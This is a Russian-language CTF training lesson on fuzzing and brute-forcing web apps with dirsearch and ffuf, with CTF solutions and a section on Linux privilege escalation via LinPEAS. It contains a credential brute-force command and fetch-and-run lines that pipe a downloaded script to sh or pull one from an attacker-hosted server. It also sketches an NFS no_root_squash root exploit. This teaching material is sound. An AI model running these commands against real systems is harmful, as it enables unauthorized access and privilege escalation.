

WEB-3

В ходе этого занятия мы познакомимся с понятиями «fuzzing» и «brute-force», научимся пользоваться такими инструментами перебора как *dirsearch* и *ffuf*, а также затронем тему повышения привилегий на машине под управлением ОС Linux.

Brute-force and Fuzzing

Краткая теория

Фаззинг и брут-форс — методы поиска уязвимостей, основанные на переборе. Эти методы крайне похожи между собой, но всё же в них есть некоторые различия.

Фаззинг — метод выявления непредвиденного поведения системы путём подачи на вход «случайных» данных.

Брут-форс - метод нелегального воздействия на систему, заключающийся в простом переборе входных данных.

Пока не очень понятно, но сейчас поясним на примере: пусть у нас есть веб-приложение с формочкой для аутентификации, которая требует от пользователя пароль. Тогда подача на вход системе таких входных данных как

1. lkewcxjg32kdaoipo876dfa2ghgjyrsmdfgflledsvd
2. @\$#??\$/\\"' '??
3. <script>alert(1)</script>
4. и т.д.

будет фаззингом, а таких данных как

1. admin
2. password
3. 123456
4. и т.д.

будет брут-форсом. На самом деле выше приведено изначальное определение фаззинга, а сейчас оно может меняться в зависимости от контекста в котором используется. К примеру, в одних материалах определяют фаззинг как «более интеллектуальную весрию брут-форса», а в других — как «тестирование, использующее как корректные, так и случайные (включая некорректные) входные данные для проверки, устанавливающей, обрабатываются ли должным образом интерфейсом случайные входные данные или возникает ошибочная ситуация (ошибочное условие), указывающая (указывающее) на наличие недостатков при разработке (ошибки исходного кода) или при эксплуатации» (это, кстати, определение из ГОСТа, так что обратите на него внимание).

Инструменты фаззинга и брут-форса

Существует множество инструментов предназначенных для перебора: *dirsearch*, *ffuf*, *gobuster*, *dirb*, *hydra*, *wfuzz* и т.д.. Мы сегодня остановимся на рассмотрении первых двух инструментов, оставив остальные на самостоятельное изучение читателю.

Dirsearch

dirsearch — это простой инструмент командной строки, предназначенный для перебора директорий и файлов в веб-приложениях.

Это очень многофункциональный инструмент. Он поддерживает многопоточность, множество расширений, составление отчётов, эвристическое выявление невалидных веб-страниц, рекурсивный перебор, HTTP-прокси, случайные User agent и т.д.. Для перебора этот инструмент использует словарь, который можно указать явно или запустить dirsearch со словарём по умолчанию. Приведём список основных ключей, для работы с данным инструментом:

1. -u — для указания URL цели
2. -w — для указания пути к словарю
3. -e — для указания расширений файлов
4. -t — для указания количества потоков
5. -r — для запуска рекурсивного брут-форса
6. -x — позволяет исключить некоторые статус-коды ответов
7. -m — для указания HTTP-метода
8. -d — для передачи данных в теле запроса
9. -H — для указания данных заголовка

Существует ещё множество различных ключей, но описывать все ключи в этом конспекте не имеет смысла, ведь всегда можно написать dirsearch -h в командной строке для получения справки или же просто погуглить. Рассмотрим несколько примеров:

1. dirsearch -u http://localhost:80 — самый простой пример использования
2. dirsearch -u http://localhost -w /path/to/wordlist -e php,js — все шаблоны %EXT% из словаря будут заменены расширениями php и js
3. dirsearch -u https://localhost -r --max-recursion-depth 3 --recursion-status 200-399 — рекурсивный перебор с указанием максимальной глубины перебора (3) и валидных статус-кодов (200-399)
4. dirsearch -u https://localhost -f php,html,js -x 400-599 --exclude-sizes 1B,243KB — перебор с добавлением расширений php, html и js ко всем путям из словаря и исключением ответов, статус-коды которых попадают в диапазон 400-599 или размер которых составляет 1 байт или 243 килобайта

Ffuf

ffuf — это мощный инструмент командной строки, предназначенный для перебора содержимого веб-приложений.

Инструмент позволяет автоматизировать процесс фаззинга, тем самым обнаруживая скрытые файлы и директории, а также проверяя различные параметры URL и заголовки HTTP. В отличие от dirsearch, ffuf не имеет словаря по умолчанию, поэтому для использования инструмента необходимо передавать ему словарь. Словари на все случаи жизни можно найти в GitHub репозитории [SecLists](#). Приведём список основных ключей для работы с данным инструментом:

1. -u — для указания URL цели
2. -w — для указания пути к словарю
3. -e — для указания расширений файлов
4. -t — для указания количества потоков
5. -r — для следования за перенаправлениями
6. -fs — позволяет исключить некоторые статус-коды ответов
7. -X — для указания HTTP-метода
8. -d — для передачи данных в теле запроса

9. -H — для указания данных заголовка

Существует ещё множество различных ключей, но описывать все ключи в этом конспекте не имеет смысла, ведь всегда можно написать `ffuf -h` в командной строке для получения справки или же просто погуглить. Рассмотрим несколько примеров:

1. `ffuf -u http://localhost/FUZZ -w /path/to/wordlist` — самый простой пример использования
2. `ffuf -w /path/to/vhost/wordlist -u https://example.com -H "Host: FUZZ.example.com" -fs 4242` — поиск поддоменов с фильтрацией по размеру в 4242 байта
3. `ffuf -w /path/to/usernames/wordlist:USER -w /path/to/passowrds/wordlist:PASS -X POST -d "username=USER&password=PASS" -u https://localhost/login.php -fc 401` — брут-форс POST-формы авторизации с фильтрацией по статус-коду 401
4. `ffuf -c -w /path/to/wordlist -u https://localhoat/FUZZ -ac` — перебор директорий с применением автоконфигурации (а ещё цветной вывод)

Практика

Задача 1. Скрытая документация с сайта Duckerz

Решение:

1. Откроем веб-страницу из задания, ничего интересного на ней не увидим.
2. Откроем терминал, напишем команду `dirsearch -u http://tasks.duckerz.ru:30065/`.
3. В выводе увидим строку похожую на такую: `[16:22:18] 200 - 323B - /docs/`.
4. Перейдём по этому пути в браузере: `http://tasks.duckerz.ru:30065/docs/`.
5. Увидим `documentation.md`, откроем. Найдём внутри файла подозрительную конечную точку: `/administrator_secret_folder/creds.txt`.
6. Проверим путь `http://tasks.duckerz.ru:30065/administrator_secret_folder/creds.txt` и обнаружим там флаг!

Задача 2. Weak password с сайта Root-Me

Решение:

1. Откроем веб-страницу из задания во встроенном браузере Burp Suite.
2. Видим что нас встречает формочка с требованием ввести логин и пароль.
3. Введём логин 123 и пароль 123. Увидим, что они отправляются в закодированном формате внутри заголовка авторизации: `Authorization: Basic MTIzOjEyMw==`.
4. Сделаем сами или найдём какой-нибудь словарь с учётными данными в формате логин:пароль. Пусть это будет, к примеру, словарь `https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt`.
5. Откроем терминал, напишем команду

```
ffuf -w /usr/share/wordlists/passwords/ftp-betterdefaultpasslist.txt \
-u http://challenge01.root-me.org/web-serveur/ch3/ -H "User-Agent: curl/8.15.0" \
-H "Authorization: Basic FUZZ" -enc FUZZ:b64encode -fc 401
```
6. В выводе увидим нечто подобное:

```
YWRtaW46YWRtaW4= [Status: 200, Size: 272, Words: 63, Lines: 14, Duration: 191ms].
```
7. Вводим в терминале команду `echo -n YWRtaW46YWRtaW4= | base64 -d` и узнаём учётные данные: `admin:admin`.
8. Вводим подобранные нами учётные данные и получаем флаг!

Повышение привилегий

Общие сведения

Повышение привилегий — переход от учётной записи с более низкими правами к учётной записи с более высокими правами.

Существует огромное количество различных способов повышения привилегий, одни из которых основаны на ошибках конфигурации, другие — на ошибках программной реализации, третьи — на специально оставленных «щелях» (бэкдорах). Даже если ограничиваться одной ОС Linux, то не хватит и годового курса чтобы описать все возможные способы повышения привилегий, поэтому в данном конспекте мы научимся лишь доставлять на целевую машину и запускать на ней один из множества существующих скриптов для поиска путей повышения привилегий.

LinPEAS

linpeas — скрипт, который ищет возможные пути повышения привилегий на хостах под управлением Linux, Unix и MacOS.

Инструмент имеет различные интересные ключи (с которыми можно ознакомиться в GitHub репозитории), позволяющие более гибко управлять проверкой, но зачастую достаточно запустить его на целевом хосте без использования ключей. Скрипт выполнит все базовые проверки и сам попытается определить те места, на которые надо обратить внимание в первую очередь. Эти места он выделит красно-жёлтым цветом.

Доставка

Существует несколько способов доставки инструмента на целевую машину. Вот два наиболее часто используемых:

1. `curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh` — выполнение команды на целевой машине приведёт к скачиванию инструмента с GitHub и его немедленному запуску
2. При нахождении в одной локальной сети с целевой машиной можно сделать следующее:
 1. Скачаем linpeas на атаковую машину
 2. В той же директории, в которую скачали linpeas, выполним команду

```
python3 -m http.server 80
```
 3. На целевой машине выполним

```
wget http://<IP-attacker>/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh
```
 4. На атакующей машине закроем http-сервер с помощью Ctrl+C

Первый метод быстр и удобен, так как моментально скачает и запустит скрипт, при этом даже не засорив диск (так как скрипт будет храниться лишь в оперативной памяти), но главным недостатком данного метода является обязательное требование к возможности выхода в Интернет на целевой машине. Второй метод в свою очередь может показаться чуть более сложным, но зато он не требует от целевой машины быть подключённой к Интернету.

Повышение привилегий

Запустите `linpeas` и дождитесь завершения выполнения скрипта. Пробежавшись глазами по выводу инструмента найдите красно-жёлтые надписи, затем погуглите что они могут значить в контексте повышения привилегий и попытайтесь эксплуатировать данные уязвимости.

Практика

Запустите (не от имени `root`) `linpeas` на какой-нибудь своей виртуальной машине под управлением ОС Linux и изучите вывод скрипта. При наличии красно-жёлтых уязвимостей попытайтесь их проэксплуатировать. В качестве примера продемонстрирую это на своей виртуальной машине:

1. В выводе скрипта на моей виртуальной машине есть красно-жёлтые строки:

```
===== Analyzing NFS Exports Files (limit 70)
Connected NFS
Mounts:
rpc_pipefs /var/lib/nfs/rpc_pipefs rpc_pipefs rw,relatime 0 0
nfsd /proc/fs/nfsd nfsd rw,relatime 0 0
-rw-r--r-- 1 root root 367 2012-05-13 20:58 /etc/exports
/          *(rw,sync,no_root_squash,no_subtree_check)
```

2. Что эти строки значат и как их эксплуатировать я, конечно же, не знал, поэтому полез гуглить.
3. После усердной гуглёрки было выяснено что эти строки означают наличие уязвимости в сетевой файловой системе и эксплуатировать их надо примерно так: монтируем на своей машине общую для нас и жертвы папку, создаём подходящую полезную нагрузку от пользователя `root` и с атрибутом `s`, компилируем её и запускаем от лица жертвы. Подробно я всё расписывать не буду, но результат примерно такой:

```
id
uid=1001(user) gid=1001(user) groups=1001(user) # перед началом эксплуатации я user

ls /tmp # директория /tmp пустая

./payload # выполняю полезную нагрузку

id
uid=0(root) gid=0(root) groups=1001(user) # теперь я root

whoami
root # да да, root

ls /root # даже смотреть домашнюю директорию root-пользователя могу)
Desktop
reset_logs.sh
vnc.log
```

Очевидно, что на Вашей машине вряд ли будет такая уязвимость (если вообще будет хоть какая-нибудь), поэтому можете экспериментировать с тем что есть или создать уязвимость самим себе (главное не забудьте потом её убрать). Фантазируйте!

Задачи для самостоятельного решения

1. [Надёжное хранилище](#)
2. [Умный переулок](#)
3. [Начинающий жонглер](#)

4. [HTTP - Directory indexing](#)

5. [Backup file](#)

Вообще фаззинг и брут-форс практически всегда являются отличной отправной точкой для CTF-задач. Есть хорошая практика: если дано веб-приложение и ты совершенно не знаешь что с ним делать, то попробуй его просканировать на наличие различных скрытых и не очень файлов и директорий, если есть форма для аутентификации и нет учётных данных для её прохождения — надо попробовать сбрутить, если дан домен — поищи поддомены и т.д.. Поэтому для наработки навыков фаззинга и брут-форса подойдёт практически любая CTF-задача из категории web.

С повышением привилегий дела обстоят иначе. На обычных jeopadry CTF-ах редко можно встретить задачу такого типа. Для отработки навыков повышения привилегий отлично подойдут машины с сайтов [TryHackMe](#), [HackTheBox](#) и [Standoff](#).

Полезные ссылки

[Вводная статья по фаззингу и брут-форсу](#)

[Ещё одна статья на фаззинг и брут-форс со списком инструментов и примерами их использования](#)

[GitHub репозиторий инструмента dirsearch](#)

[GitHub репозиторий инструмента ffuf](#)

[Прохождение комнаты «Linux Privilege Escalation» с платформы TryHackMe](#)

[GitHub репозиторий инструмента LinPEAS](#)